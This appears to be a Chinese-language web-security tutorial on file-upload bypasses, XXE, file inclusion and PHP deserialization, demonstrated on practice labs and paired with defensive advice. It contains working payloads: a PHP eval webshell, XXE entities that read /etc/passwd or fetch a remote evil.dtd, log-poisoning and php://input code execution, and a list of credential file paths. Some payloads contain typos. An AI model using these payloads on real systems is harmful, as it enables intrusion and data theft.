前置知识:
敏感路径
一、文件上传
0. 概述
文件上传漏洞在DVBBS6.0时代被黑客们利用的最为猖獗,利用上传漏洞可以直接得到WEBSHELL,危害等级超级高,入侵中上传漏洞也是常见的漏洞。
导致该漏洞的原因在于代码作者没有对访客提交的数据进行检验或者过滤不严,可以直接提交修改过的数据绕过扩展名的检验。
上传方式:
1、直接上传Webshell
2、绕过客户端检测上传WebShell
3、绕过服务端文件扩展名检测上传WebShell
4、绕过服务端MIME类型检测上传Webshell
5、绕过文件内容检测上传WebShell
6、绕过服务端目录路径检测上传WebShell
7、利用服务器漏洞上传Webshell
8、利用 .htaccess文件上传WebShell
上传工具:
(1)Burpsuite
(2)菜刀、冰蝎、蚁剑、哥斯拉
(3)一句话木马、图片马等
1. 直接上传Webshell
2.客户端检测
以upload-labs靶场为例
一般都是在网页上写一段javascript脚本,校验上传文件的后缀名,有白名单形式也有黑名单形式。
判断方式:在浏览加载文件,但还未点击上传按钮时便弹出对话框,内容如:只允许上传jpg/.jpeg/.png后缀名的文件,而此时并没有发送数据包。
(1)可以利用burp抓包改包,先上传一个jpg类型的木马,然后通过burp将其改为asp/php/jsp后缀名即可。
(2)可以利用火狐浏览器自带的插件(Toggle javaScript)将Javascript关闭
3. 服务端检测
MIME类型检测绕过:
当用户上传文件到服务器端的时候,服务器端的程序会获取上传文件的MIME类型,然后用这个获取到的类型来和期望的MIME类型进行匹配,如果匹配不上则说明上传的文件不合法。
MIME类型检测绕过image/jpeg、image/png、image/gif服务端是通过检测这个MIME类型的,用burp抓包直接改就可以绕过了。
抓包更改Content-Type字段绕过检测
检测文件头:
不同的图片文件都有不同文件头,如:
PNG:文件头标识(8 bytes)89 50 4E 47 0D 0A 1A 0A
JPEG:文件头标识(2 bytes):0xff,0xd8(SOI)(JPEG 文件标识)
GIF:文件头标识(6 bytes)47 49 46 38 39(37)61
PHP 使用 getimagesize 函数验证图片文件头
文件头绕过方式:
绕过这个检测只需要在恶意脚本前加上允许上传文件的头标识就可以了
在木马内容基础上再加了一些文件信息,有点像下面的结构
GIF89a
<?php phpinfo(); ?>
文件后缀名绕过:(黑名单)
名单检测:一般有个专门的 blacklist 文件,里面会包含常见的危险脚本文件。
绕过方法:
(1)找黑名单扩展名的漏网之鱼-比如 asa 和 cer 之类(2)可能存在大小写绕过漏洞-比如 aSp 和 pHp 之类
.htaccess解析漏洞
1、首先上传一个,htaccess内容如下的文件:
SetHandler application/x-httpd-php
2、上传一个可以上传的文件,会直接当作php文件直接执行。
利用Windows服务器特性就行上传:
![]()
00截断绕过上传
1、%00截断绕过白名单
2、%00快捷键ctrl+shift+u 完成
3、PHP版本低于5.3.29,且GPC关闭下是可以突破的
图片马上传:
制作图片教程copy 1jpg/b+2.php/a 1.jpg
参数/b指定以二进制格式复制、合并文件;用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
1、Apache解析漏洞
解析:test.php.(任意不属于黑名单且也不属于Apache解析白名单的名称),比如test.php.lala
描述:一个文件名为test.x1.x2.x3的文件,apache会从x3的位置开始尝试解析,如果x3不属于apache能够解析的扩展名,那么apache会尝试去解析x2,直到能够解析到能够解析的为止,否则就会报错
2、IIS解析漏洞
解析:test.asp/(任意文件名)|test.asp;(任意文件名)|(任意文件名)/(任意文件名).php
描述:IIS6.0在解析asp格式的时候有两个解析漏洞,一个是如果目录名包含".asp"字符串,
那么这个目录下所有的文件都会按照asp去解析,另一个是只要文件名中含有".asp;"会优先按asp来解析3、Nginx解析漏洞
解析:(任意文件名)/(任意文件名).php(任意文件名)%00.php
描述:目前Nginx主要有这两种漏洞,一个是对任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加为test.jpg/x.php进行解析攻击。
还有一种是对低版本的Nginx可以在任意文件名后面添加%00.php进行解析攻击。
二、XXE
1.XXE漏洞概述
XXE就是XML外部实体注入,当允许引用外部实体时, XML数据在传输中有可能会被修改,如果服务器执行被恶意插入的代码,攻击者通过构造恶意内容,能导致任意文件读取,系统命令执行,内网端口探测,攻击内网网站等危害。
XML是可扩展的标记语言(eXtensible Markup Language),设计用来进行数据的传输和存储, 结构是树形结构,有标签构成,这点很像HTML语言。
XML和HTML区别如下:
XML 被设计用来传输和存储数据。
HTML 被设计用来显示数据
2.XML语法简析
//XML基础语法
//XML代码
<?xml version=’1.0’?> //声明XML解析器版本来解析
<person> //根元素,不一定是person
<name>test</name> //子元素,意思就是name变量的值是test
<age>20</age> //同理
</person>
简单来说XML的语法中,标签就是变量名,标签里面的数据就是变量的值
但这里也存在一个问题,当数据里出现了尖括号时,就会造成XML数据的解析错误,如下
<name><admin<name>
所以xml语法中也对这种写法最初了规定,即
在XML中某些单独字符,如引号” ‘ & 和 尖括号 都是不允许直接出现在XML文档中(也就是不能直接用刚才那种写法保存这些带有这些单独字符的数据)的,因为XML 解析的时候会分辨不清这种输入到底是数值还是标签。
3.XML实体
上面的问题必须要解决,所以出现了实体Entity来解决这个问题 实体Entity是一种简单的存储单元就好比xml变量一样可以对它进行赋值﹐并在xml文档中不同的地方对他引用。实体在XML文档中的文档类型定义部分(DTD)被单独定义描述。
[1].XML的基本结构
- XML文档结构包括XML声明、DTD文档类型定义(可选)、文档元素
- 其中文档类型定义(DTD)可以是内部声明也可以引用外部DTD
在DTD中对实体(即用于定义引用普通文本或特殊字符的快捷方式的变量)声明时,既可在内部进行,也可在外部进行。
- 内部声明实体格式:<!ENTITY 实体名称"实体的值">
- 引用外部实体格式:<!ENTITY 实体名称SYSTEM"URI">
DTD部分就是用来定义 XML 文档的合法构建模块。而实体又分为三种,一般实体(通用实体),参数实体,预定义实体 。
[2].一般实体
一般实体的声明:
<!ENTITY 实体名称 "实体内容">
- 引用实体的方式:
&实体名
- 在DTD 中定义,在 XML 文档中引用
使用了一般实体的代码 :
<?xml version=’1.0’?> // 声明XML解析器版本来解析
// 运用实体定义变量的写法
// 即声明一个name变量,值为john
<!DOCTYPE person[
<!ENTITY name “john”>
]>
// 引用一般实体的写法,格式为"&实体名称;"
<person>
<name>&name;</name>
<age>20</age>
</person>
范围:普通实体可以在DTD中引用,可以在XML中引用,可以在声明前引用,还可以在实体声明内部引用。
[3].参数实体
- 引用实体的方式:
% 实体名
(这里面空格不能少)- 在 DTD 中定义,并且只能在 DTD 中使用
% 实体名
引用- 只有在 DTD 文件中,参数实体的声明才能引用其他实体
- 和通用实体一样,参数实体也可以外部引用
- 在 Blind XXE 中起到了至关重要的作用
来看看下面一段使用了参数实体的代码,其实跟一般实体差不多知识%的区别
<?xml version=’1.0’?> // 声明XML解析器版本来解析
// 运用参数实体定义变量的写法
// 即声明一个outer变量,值为John
<!DOCTYPE person[
<!ENTITY % outer "John">
%outer; //参数实体定义的变量必须先在dtd文件中引用
]>
// 引用参数实体的写法,格式为"%实体名称;"
<person>
<name>%name;</name>
<age>20</age>
</person>
它必须定义在单独的DTD区域,这种实体相对灵活,这种功能在漏洞利用场景的外部实体注入(XXE)过程中非常有用。
[4].预定义实体
这玩意在XXE漏洞中一般用不到,暂略。
[5].内部实体和外部实体
上面讲的那些都是内部实体,实体的值来源于内部,而外部实体顾名思义就是引用外部的值,两者的写法也差不多,外部实体仅仅是多了一个SYSTEM,给大家列了个表格这样大家可以更清楚一点,如下:
注意:引入外部的DTD文件时,dtd文件中存放的就是xml代码,并且引用外部实体的时候还可以使用各种伪协议,而不是仅限于http协议
[6].实例演示
下面分别给出一个内部实体和外部实体的例子
内部实体:
<?xml version=”1.0”?>
<!DOCTYPE note[
<!ELEMENT note (name)>
<!ENTITY hack3r “hu3sky”>
]>
<note>
<name>&hack3r;</name>
</note>
外部实体:
<?xml version=”1.0”?>
<!DOCTYPE a[
<!ENTITY name SYSTEM “http://xx.com/aa.dtd”>
]>
<a>
<name>&name;</name>
</a>
总结一下,内部实体就相当于自己编写DTD内容,而外部实体就相当于引入外部的DTD内容,类似于写JS代码时从外部引入JS文件,上面的一般实体和参数实体都可以化为外部实体,而XXE漏洞,就存在于外部实体中,我们将恶意代码写入DTD文件中再通过外部实体引入。
4.漏洞演示
XXE漏洞就是XML外部实体注入。既然是外部实体注入,那么针对于XXE漏洞肯定就是XML外部实体了。 引入外部实体方式有很多种,比如: 实体ENTITY不仅能用来存储指定数值,他还能从本地文件或者远程文件中调用相关的数据作为后续实体引用。如外部实体(XML External Entity)就是其中之一。
[1].例一
XML内容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM “file:///etc/passwd”>
%d;
]>
<c>%d;</c>
此时c变量读取的值便是/etc/passwd文件的内容
但这种方式也有问题,就是会涉及到敏感内容,所以还有下面这种攻击方法
[2].例二
XML内容
<?xml version=’1.0’?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM “http://abc.com/evil.dtd”>
%d;
]>
<c>&b;</c>
Evil.dtd内容
<!ENTITY b SYSTEM “file://etc/passwd”>
该方法通过引入外部的DTD文件,而文件中同样是读取敏感文件的恶意代码,这样被检测的可能性就大大降低 。
检测漏洞
这里的漏洞环境我们使用的是pikachu这个靶场的XXE关卡,打开该靶场的XXE关卡,如下
可以看到是一个输入框,提示可以接收xml数据
那我们该怎么判断是否存在XXE漏洞呢?其实就是看他是否能够解析XML数据,所以我们直接传入一段XML代码看他能否解析
我们放入下面这段代码
<?xml version = "1.0"?>
<!DOCTYPE name
[ <!ENTITY hacker "test"> ]>
<name>&hacker;</name>
成功提取到test数据,说明有可能存在XXE漏洞。
漏洞利用
通过外部实体引用可以使用的——协议
这里也给大家准备了各种语言支持的协议 ,如下:
[1].直接外部实体注入
直接外部实体注入,就是通过协议直接执行恶意命令
因为我是windows主机,这里我们以file协议来读取c:/windows/win.ini配置文件的内容,xml代码如下(注意这里的路径需要改变写法,不然会受到转义的影响)
<?xml version = "1.0"?>
<!DOCTYPE name
[ <!ENTITY hacker SYSTEM "file:///c://windows//win.ini">
]>
<name>&hacker;</name>
成功读取
[2].间接外部实体注入
这个也比较简单,就会将恶意代码写在DTD文件中,再引入DTD文件,操作如下
1.构造外部dtd文件
打开虚拟机,这里我选择的是kali,进入根目录,创建一个xxx.dtd的文件,内容如下
<!ENTITY hacker SYSTEM "file:///c://windows//win.ini">
2.使两台机器可以互相连接
这里直接打开apache服务就可以达到这个效果了,主要是为了使xml代码能成功引用到kali的dtd文件
3.构造XML代码
引用外部实体的xml代码如下(192.168..0.107是我的kali的ip地址),这里用参数实体给大家演示一下。
<?xml version = "1.0"?>
<!DOCTYPE name
[ <!ENTITY % a SYSTEM "http:///192.168.0.107/xxx.dtd">
%a;
]>
<hacker>%a;</hacker>
效果如下,成功读取
5.漏洞防范
针对于XXE漏洞修复其实只有两点:
1、禁止使用外部实体,例如libxml disable_entity_loader(true) 。
2、过滤用户提交的XML数据,防止出现非法内容。
三、文件包含
1.文件包含漏洞概述
和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
文件包含漏洞主要分为两类:
本地文件包含(Local File Inclusion,LFI):攻击者通过构造恶意文件路径,使得应用程序加载并执行的是本地的文件。常见的本地文件包含漏洞发生在应用程序将用户输入的文件名直接拼接到文件路径的情况下,且没有对用户输入进行充分的验证和过滤。
远程文件包含(Remote File Inclusion,RFI):攻击者通过构造恶意的URL,使得应用程序加载并执行的是远程服务器上的文件。这种漏洞通常发生在应用程序将用户输入的URL作为参数直接传递给文件加载函数时,且没有对用户输入进行充分的验证和过滤
以PHP为例,常用的文件包含函数有以下四种
include(),require(),include_once(),require_once()
区别如下:
require():找不到被包含的文件会产生致命错误,并停止脚本运行
include():找不到被包含的文件只会产生警告,脚本继续执行
require_once()与require()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
include_once()与include()类似:唯一的区别是如果该文件的代码已经被包含,则不会再次包含
2.漏洞成因分析
文件包含函数加载的参数没有经过过滤或者严格的定义,可以被用户控制,包含其他恶意文件,导致了执行了非预期的代码。
我们先直接来看一个简单的例子,网页代码如下:
<?php
include $_GET['test'];
?>
再创建一个phpinfo.php页面,代码如下:
<?php
phpinfo();
?>
利用文件包含,通过include函数来执行phpinfo.php页面,成功解析
将phpinfo.php文件后缀改为txt后进行访问,依然可以解析:
将phpinfo.php文件后缀改为jpg格式,也可以解析:
可以看出,include()函数并不在意被包含的文件是什么类型,只要有php代码,都会被解析出来。
同理:上传类似jpg格式的一句话木马,如果网站有文件包含漏洞,jpg文件就可以被当做php文件解析,所以这就是文件包含漏洞通常配合文件上传使用。
现在我们将phpinfo.jpg的内容改成一段文字:hello world!
再次进行访问,可以读出文本内容,利用这个特性,我们可以读取一下包含敏感信息的文件。
3.本地文件包含漏洞(LFI)
能够打开并包含本地文件的漏洞,我们称为本地文件包含漏洞(LFI)
测试网页包含如下代码:
<?php
$file=$_GET['filename'];
include($file);
?>
网站利用文件包含功能读取一些php文件,例如phpinfo:
利用该代码,我们可以读取一些系统本地的敏感信息。
例如:C:\Windows\system.ini
文件。
(1)使用绝对路径
使用绝对路径直接读取:
2)使用相对路径进行读取
通过./表示当前位置路径,../表示上一级路径位置,在linux中同样适用。
例如当前页面所在路径为C:\Apache24\htdocs\,我们需要使用../退到C盘再进行访问,构造路径如下:
../../windows/system.ini
(3)一些常见的敏感目录信息路径:
Windows系统:
- C:\boot.ini //查看系统版本
- C:\windows\system32\inetsrv\MetaBase.xml //IIS配置文件
- C:\windows\repair\sam //存储Windows系统初次安装的密码
- C:\ProgramFiles\mysql\my.ini //Mysql配置
- C:\ProgramFiles\mysql\data\mysql\user.MYD //MySQL root密码
- C:\windows\php.ini //php配置信息
Linux/Unix系统:
- /etc/password //账户信息
- /etc/shadow //账户密码信息
- /usr/local/app/apache2/conf/httpd.conf //Apache2默认配置文件
- /usr/local/app/apache2/conf/extra/httpd-vhost.conf //虚拟网站配置
- /usr/local/app/php5/lib/php.ini //PHP相关配置
- /etc/httpd/conf/httpd.conf //Apache配置文件
- /etc/my.conf //mysql配置文件
4.LFI漏洞利用技巧
[1].配合文件上传使用
有时候我们找不到文件上传漏洞,无法上传webshell,可以先上传一个图片格式的webshell到服务器,再利用本地文件包含漏洞进行解析。
以DVWA平台为例,将Security Level选择low,编辑一个图片马,内容如下:
<?php
fwrite(fopen("shell.php","w"),'<?php eval($_POST[123]);?>);
?>
找到上传点进行上传:
DVWA平台low等级文件包含漏洞页面如下:
该页面用于读取C:\phpStudy\WWW\vulnerabilities\fi\路径中的文件,代码如下:
现在我们利用该页面去执行我们上传的图片马
构造URL如下,代码成功解析,我这里使用的phpinfo进行测试,实战直接替换为上述所写的一句话木马即可。
注:我们也可以直接在webshell.jpg中写一句话木马,然后再通过文件包含漏洞去连接webshell.jpg,但这种方法有时候webshell功能会出现异常。所以我们选择上面的方式,生成一个.php格式的一句话木马,再去连接。
[2].包含Apache日志文件
有时候网站存在文件包含漏洞,但是却没有文件上传点。这个时候我们还可以通过利用Apache的日志文件来生成一句话木马。
利用条件:
对日志文件可读
知道日志文件存储目录
注意:
一般情况下日志存储目录会被修改,需要读取服务器配置文件(httpd.conf,nginx.conf...)或者根据phpinfo()中的信息来得知
日志记录的信息都可以被调整,比如记录报错的等级,或者内容格式。
在用户发起请求时,服务器会将请求写入access.log,当发生错误时将错误写入error.log,日志文件如下:
当我们正常访问一个网页时,如`http://127.0.0.1/phpinfo.php,access日志会进行记录,如下图所示:
如果我们访问一个不存在的资源,也一样会进行记录,例如访问127.0.0.1/<?php phpinfo();?>
网页会显示403
但查看日志会发现被成功记录但被编码了,如下:
我们再次进行访问,并使用burp抓包,发现被编码:
我们将报文修改回去,再进行发送即可:
此时再查看access日志,正确写入php代码:
再通过本地文件包含漏洞访问,即可执行
我们可以在此处写入一句话木马,再使用webshell管理工具进行连接。
[3].包含SESSION文件
可以先根据尝试包含到SESSION文件,在根据文件内容寻找可控变量,在构造payload插入到文件中,最后包含即可。
利用条件:
- 找到Session内的可控变量
- Session文件可读写,并且知道存储路径
php的session文件的保存路径可以在phpinfo的session.save_path看到。
session常见存储路径:
- /var/lib/php/sess_PHPSESSID
- /tmp/sess_PHPSESSID
- /tmp/sessions/sess_PHPSESSID
- session文件格式:sess_[phpsessid],而phpsessid在发送的请求的cookie字段中可以看到。
相关案例可以查看这道CTF题一道CTF题:PHP文件包含
[4].包含临时文件
php中上传文件,会创建临时文件。在linux下使用/tmp目录,而在windows下使用C:\windows\temp目录。在临时文件被删除前,可以利用时间竞争的方式包含该临时文件。
由于包含需要知道包含的文件名。一种方法是进行暴力猜解,linux下使用的是随机函数有缺陷,而windows下只有65535种不同的文件名,所以这个方法是可行的。
另一种方法是配合phpinfo页面的php variables,可以直接获取到上传文件的存储路径和临时文件名,直接包含即可。
这个方法可以参考LFI With PHPInfo Assistance
类似利用临时文件的存在,竞争时间去包含的,可以看看这道CTF题: XMAN夏令营-2017-babyweb-writeup
5.远程文件包含(RFI)
如果PHP的配置选项allow_url_include
、allow_url_fopen
状态为ON的话,则include/require函数是可以加载远程文件的,这种漏洞被称为远程文件包含(RFI)
首先我们来看一段代码
<?php
$path=$_GET['path'];
include($path . '/phpinfo.php');
?>
访问本地site目录下的phpinfo.php文件:
该页面并没有对$path做任何过滤,因此存在文件包含漏洞。
我们在远端Web服务器/site/目录下创建一个test.php文件,内容为phpinfo(),利用漏洞去读取这个文件。
但是代码会给我们输入的路径后面加上’/phpinfo.php’后缀,如果php版本小于5.3.4,我们可以尝试使用%00截断,这里php版本为7.3.4,不适用。
还有一种截断方法就是?号截断,在路径后面输入?号,服务器会认为?号后面的内容为GET方法传递的参数,成功读取test.php如下:
如果test.php是恶意的webshell文件,那么利用该漏洞就可以获取到服务器权限。
6.PHP伪协议
PHP内置了很多URL风格的封装协议,可用于类似fopen()、copy()、file_exists()和filesize()的文件系统函数
file://协议
file:// 用于访问本地文件系统,在CTF中通常用来读取本地文件的且不受allow_url_fopen与allow_url_include的影响。
file:// [文件的绝对路径和文件名]
php://协议
php:// 访问各个输入/输出流(I/O streams),在CTF中经常使用的是php://filter和php://input
php://filter用于读取源码。
php://input用于执行php代码。
php://filter 读取源代码并进行base64编码输出,不然会直接当做php代码执行就看不到源代码内容了。
利用条件:
- allow_url_fopen :off/on
- allow_url_include:off/on
例如有一些敏感信息会保存在php文件中,如果我们直接利用文件包含去打开一个php文件,php代码是不会显示在页面上的,例如打开当前目录下的2.php:
他只显示了一条语句,这时候我们可以以base64编码的方式读取指定文件的源码:
输入php://filter/convert.base64-encode/resource=文件路径
得到2.php加密后的源码:
再进行base64解码,获取到2.php的完整源码信息:
php://input 可以访问请求的原始数据的只读流, 将post请求中的数据作为PHP代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,同时post想设置的文件内容,php执行时会将post内容当作文件内容。从而导致任意代码执行。
利用条件:
- allow_url_fopen :off/on
- allow_url_include:on
利用该方法,我们可以直接写入php文件,输入file=php://input
,然后使用burp抓包,写入php代码:
发送报文,可以看到本地生成了一句话木马:
ZIP://协议
zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。
- zip://中只能传入绝对路径。
- 要用#分割压缩包和压缩包里的内容,并且#要用url编码成%23(即下述POC中#要用%23替换)
- 只需要是zip的压缩包即可,后缀名可以任意更改。
- 相同的类型还有zlib://和bzip2://
利用条件:
- allow_url_fopen :off/on
- allow_url_include:off/on
POC为:
zip://[压缩包绝对路径]#[压缩包内文件]?file=zip://D:\1.zip%23phpinfo.txt
data://协议
data:// 同样类似与php://input,可以让用户来控制输入流,当它与包含函数结合时,用户输入的data://流会被当作php文件执行。从而导致任意代码执行。
利用data:// 伪协议可以直接达到执行php代码的效果,例如执行phpinfo()函数:
利用条件:
- allow_url_fopen :on
- allow_url_include:on
POC为:
data://text/plain,<?php phpinfo();?>
//如果此处对特殊字符进行了过滤,我们还可以通过base64编码后再输入:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=
伪协议利用条件
伪协议的利用方法还有很多,这里就不一一举例了。
伪协议的用法小结
7.文件包含漏洞防护
1、使用str_replace等方法过滤掉危险字符
2、配置open_basedir,防止目录遍历(open_basedir 将php所能打开的文件限制在指定的目录树中)
3、php版本升级,防止%00截断
# 条件:magic quotes_gpc=Off php版本<5.3.4 # 测试代码: <?php $filename =$_GET['filename']; include($filename . ".html"); ?> # http://xxx/1.php?filename=../../../../../../../boot.ini%00
4、对上传的文件进行重命名,防止被读取
5、对于动态包含的文件可以设置一个白名单,不读取非白名单的文件。
6、做好管理员权限划分,做好文件的权限管理,allow_url_include和allow_url_fopen最小权限化
总结
文件包含漏洞是一种常见的安全漏洞,可以使攻击者加载和执行恶意文件。通过充分验证和过滤用户输入、使用完整的文件路径、不信任用户输入、正确设置文件权限并定期更新应用程序,可以减少文件包含漏洞的风险。开发人员和安全团队应该对应用程序进行仔细的安全审计和渗透测试,以及及时修复漏洞,保障系统的安全性。
四、SQL注入
五、PHP反序列化
PHP序列化:php为了方便进行数据的传输,允许把复杂的数据结构,压缩到一个字符串中,使用serialize()函数。
PHP反序列化:将被压缩为字符串的复杂数据结构,重新恢复使用unserialize()函数。
PHP反序列化漏洞:也叫PHP对象注入,php有许多魔术方法(所谓魔术方法,就是系统在特定时刻自动调用的方法),如果代码中使用了反序列化 unserialize0)函数,并且参数可控,且程序没有对用户输入的反序列化字符串进行校验,那么可以通过注入参数来达到想要实现的目的。
1.PHP序列化
<?php
class ThreeBody{
// 定义类
public $name='test';
public function fail_in_love(){
echo "My name is ".$this->name;
}
}
$reallyTreeBody = new ThreeBody(); //实例化了一个对象
echo serialize($reallyTreeBody); //将对象序列化后输出
?>
序列化后的字符串: O:9:"ThreeBody":1:{s:4:"name";s:4:"test";}
2.PHP反序列化
<?php
class ThreeBody{
//定义类
public $name='test';
public function fail_in_love(){
echo "My name is ".$this->name;
}
}
$zhi = '0:9:"mhreeBody":1:{s:4:"name";s:4:"test";}'; //序列化后的字符串
$reallyTreeBody =unserialize($zhi); // 把字符串浸泡恢复一下
echo $reallyTreeBody->name; //成为对象了,把对象的name属性输出一下
3.PHP魔法函数
PHP序列化漏洞常用的魔术方法:
construct():当一个类被创建时自动调用destruct():当一个类被销毁时自动调用
invoke():当把一个类当作函数使用时自动调用
tostring():当把一个类当作字符串使用时自动调用
wakeup():当调用unserialize()函数时自动调用
sleep():当调用serialize()函数时自动调用
call():当要调用的方法不存在或权限不足时自动调用
O:9:"ThreeBody":1:{s:4:"name";s:4:"test";}
O:代表objectr
9:代表对象名字长度为一个字符ThreeBody :对象的名称
1:代表对象里面有一个变量
s:数据类型
4:变量名称的长度
name:变量名称
s:数据类型4:变量值的长度
test:变量值
4.PHP反序列化漏洞
<?php
class A{
var $test = "demo";
function_wakeup(){
echo $this->test;
}
}
$a= $_GET['test'];
$a_unser = unserialize($a);
?>
发现反序列化可控序列化代码,并且一旦反序列化会走魔法方法_wakeup并且输出test,构造序列化poc:
<?php class A{ var $test = "demo"; function_wakeup(){ echo $this->test; } } $b = new A(); $c= serialize($b); echo $c; ?>
构造POC:(注:键值对的key的长度要与value的长度相等)
http://192.168.23.128/www/1.php?test=O:1:%22A%22:1:{s:4:%22test%22;s:28:%22
%3Cimg%20src=1%20οnerrοr=alert(1)%3E%22;}
修改echo改为eval这种php执行代码函数:
<?php class A{ var $test = "demo"; function_wakeup(){ eval($this->test); } } $b = new A(); $c= serialize($b); echo $c; $a=$_GET['test']; $a_unser = unserialize($a); ?>
构造poc:
http://192.168.23.128/www/1.php?test=O:1:%22A%22:1:{s:4:%22test%22;s:10:%22
phpinfo();%22;}
5.PHP反序列化漏洞防御
1、严格控制unserialize函数的参数,坚持用户所输入的信息都是不可靠的原则。
2、对于unserialize后的变量内容进行检查,以确定内容没有被污染。
六、远程命令执行(RCE)
后续持续更新。。。。。
参考文章
文件包含:https://blog.csdn.net/m0_46467017/article/details/126380415
https://blog.csdn.net/Myx74270512/article/details/128234941
XXE漏洞:https://blog.csdn.net/weixin_44604541/article/details/109597356
https://blog.csdn.net/qq_63844103/article/details/128060556